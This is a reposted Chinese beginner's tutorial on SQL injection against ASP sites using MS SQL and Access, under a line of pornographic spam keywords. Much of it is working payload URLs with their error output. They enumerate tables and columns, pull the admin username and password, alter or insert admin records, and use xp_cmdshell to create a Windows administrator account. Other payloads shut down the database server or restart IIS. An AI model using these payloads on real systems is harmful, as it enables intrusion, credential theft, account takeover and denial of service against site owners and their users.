国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
菜鳥SQL注入詳解

利用SQL進行添加,更改,查看記錄。
      當一臺主機臺開了80端口,當你手頭沒有任何黑客工具,那么,偶們有SQL。
      他不需要你其他東東,只要一個瀏覽器就夠了。HOHO,偶的文章菜菜,偶寫這
      篇文章只是為了讓一些對SQL很陌生的菜菜們看的,老鳥繞道。。。
      1,什么是SQL注入?
      SQL注入,就是利用欺騙的方式,通過網(wǎng)頁的查詢功能,或查詢命令注入。
      當用戶來到網(wǎng)站,會提交一些數(shù)據(jù),再到數(shù)據(jù)庫進行查詢,確定此用戶的身份。
      舉個簡單的例子來說吧,你去一個站點的論壇,那么,你會輸入你的用戶名和
      密碼,點“確定”,網(wǎng)站會通過數(shù)據(jù)庫的查詢來判斷你是不是他們的用戶,
      你的用戶名和密碼是否正確。而利用SQL注入,通過構(gòu)造特殊的語句,來查找我
      們所想要得到的信息,如管理員的賬號密碼。以下,小林用了http://xxx.xxx.com
      來表示一個存在注入漏洞的網(wǎng)頁。
      2,助手篇,
      先把IE菜單-工具-Internet選項-高級-顯示友好 HTTP 錯誤信息前面的勾去掉。
      否則,不論服務(wù)器返回什么錯誤,我們都只能看到“HTTP 500服務(wù)器錯誤”,不能獲得更多的提示信息
      。

      3,哪些網(wǎng)頁能利用?
      我們?nèi)フ乙恍┮峤粩?shù)據(jù)的網(wǎng)頁,如:登陸頁面,查找頁面,添加頁面等
      找到后,如果你注意過網(wǎng)頁的源代碼,那么,你會發(fā)現(xiàn),他上面一般有一個如下的表單:
      <FORM action=login.asp method=post>
      <input ........
      </FORM>
      這些網(wǎng)頁,后綴如asp,jsp,cgi,php網(wǎng)頁。
      如:http://xxx.xxx.com/index.asp?id=10
      上面這個例子,就是ASP頁后,看到他的ID還的值了嗎?是10。一般,我們找的就是這些頁面
      來練手了。(要做個好人噢。)
      4,怎么測試它是存在注入漏洞的呢?這一步偶稱它為“踩點”。
      小林有一個毛病,看什么網(wǎng)頁,就要順手在參數(shù)(如上面的10)上加一個小小的引號。
      http://xxx.xxx.com/index.asp?id=10
      返回錯誤信息:
      Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
      字符串 之前有未閉合的引號。
      /job/grxx.asp,行141
      這就是說,他用的是MsSQL數(shù)據(jù)庫。這個引號,導致引號未閉合的錯誤。本身就是錯的,因為
      通常一個整數(shù)是不用在SQL里加引號的。
      如果他不是一個整數(shù)而是字母呢?
      http://xxx.xxx.com/index.asp?user=lamb
      那我們就把引號放到lamb中間,如lamb
      呵呵,又出錯了吧?
      這說明,站點這一部分的代碼是大有問題的(當然,就算他有源碼公布在網(wǎng)上,我也懶得看)
      當然,我們也可以提交:
      http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,這里的columnaaa是我亂寫的)
      出現(xiàn)錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers 錯誤 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
      columnaaa.
      /job/grxx.asp,行27
      這說明,這是一個SQL,里面沒有columnaaa這個字段(我習慣說“列”)。
      利用出錯的信息,我們現(xiàn)在多少了解了這個站點的服務(wù)了吧?
      5,現(xiàn)在開工啦,偶不喜歡猜測他的字段名,太浪費TIME了,我們要想辦法讓數(shù)據(jù)查詢中出錯。
      要產(chǎn)生一個錯誤讓它自己報出數(shù)據(jù)庫里的值。讓我們用一用SQL語法GROUP BY 或HAVING。如:
      http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
      出現(xiàn)錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers 錯誤 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is
      invalid in the
      select list because it is not contained in an aggregate function and there
      is no GROUP BY
      clause.
      /more.asp,行27
      看到article.newsid了嗎?說明有一個叫article.newsid的列,因為你在用HAVING,所以你必須還要用
      上GROUP BY,于是黑客就重復錯誤提交,直到?jīng)]有得到錯誤。
      這里要說明一下:分號在這里分離,%20 是空格,--表示后面是一個注釋,也就是說只是說明,不能去
      執(zhí)行代碼。(*_*)
      下面是具體例子:
      提交:
      http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
      得到article.newsid這真是好東西。
      提交:
      http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--
      得到錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is
      invalid in the
      select list because it is not contained in either an aggregate function or
      the GROUP BY
      clause.
      /more.asp,line 20
      得到:
      article.title
      我們反復地一個一個加上來提交。
      得到錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is
      invalid in the
      select list because it is not contained in either an aggregate function or
      the GROUP BY
      clause.
      /more.asp,line 56
      這里要注意了,都到哪兒了?到下一個表了。
      現(xiàn)在我們知道這里至少有2個表,他們的別名是:adm和article,如里面article對應的是:newsid等
      title
      利用系統(tǒng)表:
      下面,我們要確定表名來加入數(shù)據(jù)。
      系統(tǒng)表是MS-SQL 2000的一部分,名叫sysObjects table,我們將要用到查詢UNION SELECT,。
      要從SysObjects table 有天地拿到表名,一般使用下面語句:
      SELECT name FROM sysObjects WHERE xtype=U U是指明定議USER的表。
      黑客們已經(jīng)知道了表里的列,
      現(xiàn)在他們能在下面加一些數(shù)字。甚至如下面的:
      在地址欄里打入:
      http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT% ;
      201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U--
      記住,上面的,1-6數(shù)據(jù)中,6是我們想要的。不過有時候會出現(xiàn)數(shù)據(jù)類型錯誤,
      http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT ;TOP 1 TABLE_NAME FROM
      INFORMATION_SCHEMA.TABLES--
      MS SQL服務(wù)將試圖去轉(zhuǎn)換一個string (nvarchar)到integer。那么就會出錯:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      table1 to a column of data type int.
      /index.asp, line 5
      這個錯誤信息很“友好”地告訴我們string (nvarchar)值不能被轉(zhuǎn)換成integer。
      這樣,我們就獲得了數(shù)據(jù)表的第一個表名!這個表名就是tabel1。

      要獲得第二個表名,我們繼續(xù),用以下查詢:
      http://xxx.xxx.com/job/grxx.asp?id=23%20UNION ;SELECT TOP 1 TABLE_NAME
      FROM
      INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (table1)--
      也可以用關(guān)鍵字查找數(shù)據(jù):
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 TABLE_NAME FROM
      INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25ADMIN%25--
      現(xiàn)在錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      admin_login to a column of data type int.
      /index.asp, line 5
      尋找與之匹配的值,%25ADMIN%25在SQL服務(wù)器上將被認作 %ADMIN%。這樣,我們就能獲得符合標
      準的表名為"admin_login"的表了。
      那么,如何獲得表里所有的列表?
      我們能利用另一個有用的東東,INFORMATION_SCHEMA.COLUMNS 出場?。?!
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

      INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login--
      現(xiàn)在錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      u_id to a column of data type int.
      /index.asp, line 6
      看,我們有了第一個字段的名,我們用NOT IN () 來獲得下一個字段名:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

      INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
      NOT IN
      (u_id)--
      現(xiàn)在錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      u_name to a column of data type int.
      /index.asp, line 5
      我們繼續(xù),獲得其他列表。如:"password"等,因為我們獲得下面錯誤信息:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

      INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
      NOT IN
      (u_id,u_name,password,contents)--
      現(xiàn)在錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear
      in the select
      list if the statement contains a UNION operator.
      /index.asp, line 5
      6。2 如何找到我們要找的重要數(shù)據(jù)呢?
      現(xiàn)在我們知道了表名,字段名,我們用相同的方法收集我們要的在數(shù)據(jù)庫里的信息。
      現(xiàn)在,我們從"admin_login" 表里取得第一個u_name :
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 u_name FROM
      admin_login--
      現(xiàn)在錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      adminroot to a column of data type int.
      /index.asp, line 5

      我們知道,這里有登陸的用戶名叫 "adminroot"的管理員。最后,從數(shù)據(jù)庫里獲得"adminroot" 的密碼
      :
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
      admin_login where
      u_name=adminroot--
      現(xiàn)在錯誤信息:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      root to a column of data type int.
      /index.asp, line 5
      我們現(xiàn)在能用戶名"adminroot"密碼:"root"登陸了。

      如何取得數(shù)字的值?
      以上技術(shù)描述有有一定的局限性。當我們試圖轉(zhuǎn)換文本組成有效的數(shù)字0-9我們不能得到任何錯誤。
      讓我們說說如何獲得"tony"的密碼,密碼是 "19840217":
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
      admin_login where
      u_name=tony--
      我們很可能發(fā)現(xiàn),該頁無法顯示的錯誤。這結(jié)果表示,密碼"19840217"被修改到一個數(shù)了。在整
      合一個整型(10 也是),因為這是一個有效的整合。所以SQL服務(wù)就不會給出錯誤的提示了。
      我們就得不到數(shù)字的登陸了。
      要解決這個問題,我們能附加一些字母來測試轉(zhuǎn)換失敗。我們用以下的測試來代替:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 convert(int,
      password%2b%20lambgirl) FROM admin_login where u_name=tony--
      我們簡單地利用加號+設(shè)置密碼數(shù)據(jù)文件的搜索路徑。隨便加一些。ASSCII碼+ = 0x2b
      我們將添加空格在密碼里。所以,如果把我們的密碼是19840217。他將變成19840217 lambgirl.
      調(diào)出了轉(zhuǎn)換了的函數(shù)。試著將19840217 lambgirl轉(zhuǎn)變成整型。SQL服務(wù)將出現(xiàn)ODBC錯誤:
      Microsoft OLE DB Provider for ODBC Drivers error 80040e07
      [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
      nvarchar value
      19840217 lambgirl to a column of data type int.
      /index.asp, line 5
      現(xiàn)在,你就能用tony和密碼:19840217 lambgirl了。

      如何在數(shù)據(jù)庫修改,插入數(shù)據(jù)?
      當我們成功地獲得了表名,字段。就很容易在數(shù)據(jù)庫里修改甚至插入新的數(shù)據(jù)。如更改"adminroot"
      的密碼,我們
      http://xxx.xxx.com/job/grxx.asp?id=23 ;UPDATE admin_login SET password =
      newpas5 WHERE
      u_name=adminroot--
      要在數(shù)據(jù)表里插入新記錄,
      http://xxx.xxx.com/job/grxx.asp?id=23 ;INSERT INTO admin_login (u_id,
      u_name,
      password, contents) VALUES (123,xiaolin,pas,lambgirl)--
      現(xiàn)在,我們就能用xiaolin pas 來登陸了。

      如何遠程執(zhí)行SQL漏洞?
      能進行SQL注入命令表明,我們能查任何我們想要查的。默認安裝的的MS SQL服務(wù)
      在系統(tǒng)中權(quán)限等于管理員。我們能利用執(zhí)行存儲過程像xp_cmdshell 來執(zhí)行遠程破壞:
      ; exec master..xp_cmdshell ping 192.168.0.2--
      (如果單引號不能用,就換成雙引號)
      分號表示結(jié)束前面的SQL查詢,從而允許你開始另一個新的SQL命令。
      為了檢驗命令成功執(zhí)行,你可以監(jiān)聽從192.168.0.2發(fā)出的的ICMP包。查看是否發(fā)出包。
      #tcpdump icmp
      如果你沒有接到PING主機的回應,得到一個錯誤的提示,權(quán)限錯誤,那么,很可能管理員
      限制了WEB用戶對xp_cmdshell 等的權(quán)限。
      如何找出MYSQL查詢結(jié)果?
      這很容易用sp_makewebtask來把你查詢的結(jié)果放到一個HTML里:
      ; EXEC master..sp_makewebtask "      "SELECT * FROM
      INFORMATION_SCHEMA.TABLES"
      但是目標IP必須共享文件夾。

      http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net user
      name
      password /add”--
      xp_cmdshell 用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password
      的windows的賬號,接著:
      http://xxx.xxx.com/job/grxx.asp?id=23 ;;exec master..xp_cmdshell “net
      localgroup name
      administrators /add”--
      將新建的賬號name加入管理員組,不過這種方法只于用sa連接數(shù)據(jù)庫的情況,否則,沒有權(quán)限調(diào)用
      xp_cmdshell。
      其他方面,如利用SQL的命令填寫:
      將使SQL服務(wù)快速關(guān)閉
      用戶名: ; shutdown with nowait; --
      密碼: 不填
      導致嚴重問題,網(wǎng)絡(luò)故障。
      用戶名: ; exec master..xp_cmdshell iisreset; --
      密碼:不填
      關(guān)于ACCESS部分,
      和ASSQL差不了多少,也是先在http://xxx.xxx.com/index.asp?id=10
      出錯的話,繼續(xù)提交:
      先測試是否有ADMIN表,
      http://xxx.xxx.com/index.asp?id=10 and 0<>(select count(*) from admin)
      http://xxx.xxx.com/index.asp?id=10 and 1=(select count(*) from admin)
      沒有的話,就換一個名字,如user啊,什么的。再猜里面是否有username這個字段.
      and 1=(select count(*) from admin where len(username)>0)
      如果出錯,同理,我們也可以給它換一個名字。
      接下來我們猜用戶的具體名字。
      and 1=(select count(*) from admin where left(username,1)=l)
      這時我們可以一個一個地來猜。
      and 1=(select count(*) from admin where left(username,2)=la)
      接下來猜密碼,猜密碼的道理同猜用戶名一樣。
      and 1=(select count(*) from admin where left(password,1)=l)

本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
關(guān)于SQL注入的一點思考和總結(jié)
QT連接SQL Server(ODBC)
袖珍數(shù)據(jù)庫連接查詢手冊
如何在ASP中連接MySQL數(shù)據(jù)庫
asp連接sqlserver數(shù)據(jù)庫實現(xiàn)代碼
asp,css屬性的用法介紹
更多類似文章 >>
生活服務(wù)
分享 收藏 導長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服